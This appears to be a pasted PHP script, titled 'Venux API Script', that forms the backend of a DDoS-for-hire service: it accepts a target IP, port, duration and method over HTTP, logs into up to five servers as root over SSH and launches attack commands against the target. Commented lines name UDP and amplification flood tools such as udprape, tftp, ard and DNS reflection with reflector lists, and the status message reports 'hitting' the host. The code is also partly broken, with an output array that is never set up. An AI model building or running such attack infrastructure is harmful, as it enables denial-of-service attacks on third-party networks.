· 4 years ago · Aug 08, 2021, 04:28 PM
1<?php
2/////////////////////////////////
3//-- Venux API Script - Modified by Aggron --//
4/////////////////////////////////
5ignore_user_abort(true);
6set_time_limit(10);
7require('xwaf.php');
8$xWAF = new xWAF();
9// Cloudflare Mode [Optional]
10//////////////////////////////////////////
11//-- You're servers credentials --//
12//-- Enter you're servers credentials --//
13//////////////////////////////////////////
14$apis = [
15 "1" =>[
16 "ip" => "",
17 "username" => "root",
18 "password" => "",
19 ],
20
21 "2" =>[
22 "ip" => "",
23 "username" => "root",
24 "password" => "",
25 ],
26
27 "3" =>[
28 "ip" => "",
29 "username" => "root",
30 "password" => "",
31 ],
32
33 "4" =>[
34 "ip" => "",
35 "username" => "root",
36 "password" => "",
37 ],
38
39 "5" =>[
40 "ip" => "",
41 "username" => "root",
42 "password" => "",
43 ],
44 ];
45
46/////////////////////////////////////////
47//-- Gets the value of each variable --//
48/////////////////////////////////////////
49$host = htmlspecialchars($_GET['host']);
50$port = htmlspecialchars($_GET['port']);
51$time = htmlspecialchars($_GET['time']);
52$method = htmlspecialchars($_GET['method']);
53$key = htmlspecialchars($_GET['key']);
54$action = $_GET['action'];
55
56///////////////////////////////////////////////////
57//-- array of implemented method as a variable --//
58///////////////////////////////////////////////////
59$array = array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "");// Add you're existing methods here, and delete you're none existent methods.
60$ray = array("test");
61
62////////////////////////////////////////
63//-- Checks if the API key is empty --//
64////////////////////////////////////////
65if (!empty($key)){
66}else{
67die('Error: API key is empty!');}
68
69//////////////////////////////////////////
70//-- Checks if the API key is correct --//
71//////////////////////////////////////////
72if (in_array($key, $ray)){ //Change "key" to what ever yo want you're API key to be.
73}else{
74die('Error: Incorrect API key!');}
75
76/////////////////////////////////
77//-- Checks if time is empty --//
78/////////////////////////////////
79if (!empty($time)){
80}else{
81die('Error: time is empty!');}
82
83/////////////////////////////////
84//-- Checks if host is empty --//
85/////////////////////////////////
86if (!empty($host)){
87}else{
88die('Error: Host is empty!');}
89///////////////////////////////////
90//-- Checks if method is empty --//
91///////////////////////////////////
92if (!empty($method)){
93}else{
94die('Error: Method is empty!');}
95
96if(!filter_var($host, FILTER_VALIDATE_IP) === false) {
97}else{
98die("$host is not a valid IP address");
99}
100
101if (filter_var($port, FILTER_VALIDATE_INT)) {
102} else {
103 die("Variable is not an integer");
104}
105
106if (filter_var($time, FILTER_VALIDATE_INT)) {
107} else {
108 die("Variable is not an integer");
109}
110
111///////////////////////////////////
112//-- Checks if method is empty --//
113///////////////////////////////////
114if (in_array($method, $array)){
115}else{
116die('Error: The method you requested does not exist!');}
117///////////////////////////////////////////////////
118//-- Uses regex to see if the Port could exist --//
119///////////////////////////////////////////////////
120if ($port > 65500){
121die('Error: Ports over 65500 do not exist');}
122
123//////////////////////////////////
124//-- Sets a Maximum boot time --//
125//////////////////////////////////
126if ($time > 1200){
127die('Error: Cannot exceed 1200 seconds bitch!');} //Change 10 to the time you used above.
128
129
130//////////////////////////////////////////////////////////////////////////////
131//-- You're attack methods --//
132//-- Make sure the command is formatted correctly for each method you add --//
133//////////////////////////////////////////////////////////////////////////////
134
135if ($method == "") { $command = "screen -d -m ";; }
136if ($method == "") { $command = "screen -d -m ";; }
137if ($method == "") { $command = "screen -d -m ";; }
138if ($method == "") { $command = "screen -d -m ";; }
139if ($method == "") { $command = "screen -d -m ";; }
140if ($method == "") { $command = "screen -d -m ";; }
141if ($method == "") { $command = "screen -d -m ";; }
142if ($method == "") { $command = "screen -d -m ";; }
143if ($method == "") { $command = "screen -d -m ";; }
144if ($method == "") { $command = "screen -d -m ";; }
145if ($method == "") { $command = "screen -d -m ";; }
146if ($method == "") { $command = "screen -d -m ";; }
147if ($method == "") { $command = "screen -d -m ";; }
148if ($method == "") { $command = "screen -d -m screen -d -m ";; }
149if ($method == "") { $command = "screen -d -m ";; }
150if ($method == "") { $command = "screen -d -m ";; }
151if ($method == "") { $command = "screen -d -m e";; }
152if ($method == "") { $command = "screen -d -m ";; }
153if ($method == "") { $command = "screen -d -m ";; }
154if ($method == "") { $command = "screen -d -m screen -d -m";; }
155if ($method == "") { $command = "screen -d -m ";; }
156
157
158//if ($method == "OVH") { $command = "screen -d -m ./udprape $host $port 10 6 -1 $time | screen -d -m ./impi $host 7 200000 $time | screen -d -m ./tamp $host https3.txt 80 0 0 1 $time | screen -d -m ./ard $host $port ard.txt 7 20000 $time | screen -d -m ./tftp $host $port tftp.txt 6 20000 $time";; }
159//if ($method == "24H") { $command = "screen -d -m ./dns $host 0 dnsfat.txt 1 $time"; }
160
161//if ($method == "stop") { $command = "pkill $host -f"; }
162//if ($method == "STOP") { $command = "pkill $host -f"; }
163///////////////////////////////////////////////////////
164//-- Check to see if the server has SSH2 installed --//
165///////////////////////////////////////////////////////
166$i = 0;
167foreach ($apis as $api) {
168 $i++;
169 if(!($con = ssh2_connect($api["ip"], 22))){
170
171 array_push($OUTPUT, [
172 "server" => $i,
173 "status" => "CONECTION FAILED"
174 ]);
175 echo json_encode($OUTPUT);
176 } else {
177 if(!ssh2_auth_password($con, $api["username"], $api["password"])) {
178 array_push($OUTPUT, [
179 "server" => $i,
180 "status" => "INCORECT SERVER LOGIN"
181 ]);
182 } else {
183
184 if (!($stream = ssh2_exec($con, $command ))) {
185 array_push($OUTPUT, [
186 "server" => $i,
187 "status" => "Error: You're server was not able to execute you're methods file and or its dependencies"
188 ]);
189
190 } else {
191 stream_set_blocking($stream, false);
192 $data = "";
193 while ($buf = fread($stream,4096)) {
194 $data .= $buf;
195 }
196 array_push($OUTPUT, [
197 "server" => $i,
198 "status" => "<br>hitting: $host using $method for $time"
199 ]);
200 fclose($stream);
201 }
202 }
203 }
204}
205?>